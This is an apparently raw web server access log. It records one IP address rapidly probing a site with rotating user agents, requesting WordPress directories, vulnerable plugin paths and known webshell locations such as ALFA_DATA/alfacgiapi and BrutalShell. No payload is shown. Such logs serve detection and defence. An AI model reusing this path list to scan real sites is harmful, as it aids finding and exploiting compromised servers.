45.137.126.96 - - [05/Feb/2026:07:07:19 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:20 +0300] "GET /img/chat-search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:07:20 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:20 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:21 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:21 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:21 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:07:22 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:22 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:07:23 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:23 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:23 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:24 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:24 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:24 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:07:24 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:07:25 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:25 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:26 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:07:26 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:26 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:27 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:27 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:28 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:28 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:28 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:29 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:29 +0300] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:07:29 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:30 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:07:30 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:31 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:31 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:31 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:31 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:07:32 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:32 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:33 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:33 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:33 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:34 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:07:34 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:34 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:35 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:07:35 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:07:36 +0300] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:36 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:07:37 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:37 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:07:37 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:07:38 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:07:38 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:39 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:39 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:39 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:40 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:07:40 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:40 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:41 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:07:41 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:41 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:07:42 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:42 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:42 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:43 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:44 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:44 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:45 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:45 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:45 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:07:46 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:46 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:46 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:47 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:07:47 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:07:47 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:48 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:48 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:48 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:49 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:49 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:07:49 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:50 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:07:50 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:51 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:51 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:51 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:52 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:07:52 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:52 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:07:53 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:07:53 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:07:53 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:54 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:54 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:54 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:55 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:55 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:55 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:56 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:56 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:07:56 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:57 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:57 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:57 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:07:58 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:07:58 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:59 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:07:59 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:07:59 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:00 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:08:00 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:08:00 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:08:01 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 